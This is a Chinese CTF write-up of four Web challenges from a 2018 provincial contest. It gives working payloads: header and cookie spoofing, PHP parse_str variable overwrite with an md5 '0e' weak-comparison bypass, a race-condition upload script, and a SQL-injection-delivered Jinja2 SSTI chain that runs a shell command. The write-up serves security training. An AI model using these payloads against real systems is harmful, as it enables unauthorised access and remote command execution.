2018科来杯山东省省赛Web Writeup

babyWeb

web签到题

ip不在允许范围,修改header头的client-ip为127.0.0.1

你不是管理员,修改cookie中的admin值为1即可。

babyWeb2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include 'here.php';
$key = 'kelaibei';
if(isset($_GET['id'])){
$id = $_GET['id'];
@parse_str($id);
if ($key[99] != 'aabg7XSs' && md5($key[99]) == md5('aabg7XSs')) {
echo $hint;
}
else{
echo 'try again';
}
}
else{
show_source(__FILE__);
}

parse_str()函数存在变量覆盖,可以覆盖变量key[99]

aabg7XSs的md5值为0e087386482136013740957780965295,而且用了双等号,存在弱类型

payload:id=key[99]=s878926199a

upl04d50m3thing.php页面

可以上传文件,但是会修改文件内容为too slow,而且上传时有一定的延时,猜测在延迟时访问上传的文件可以访问到。

1
2
3
4
5
6
7
import requests
while(True):
url = 'http://x.x.x.x/uploads/5761c4916bc4034ebbaea308db0d350137f0778b/w1test.php'
r = requests.get(url).content
if not 'slow' in r:
print r

运行脚本,用burp重放上传的数据包即可拿到flag。

Easy_flask

题目提供了Add a Comment和Search Comment两个功能

尝试ssti,username='test'&comment=,搜索test

存在ssti,但是Add a Comment中username和comment两个参数限制了字符长度,最多提交10个字符,没法运用ssti。

测试search功能,username参数存在sql注入,payload:username=test' union select 1,2,3 -- wtest

构造union注入的参数进行ssti,payload:username=test' union select 1,2,"" -- wtest

通过基础类的方式构造payload,payload:

1
username=test' union select 1,2,"{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('cat /flag').read()}}" -- wtest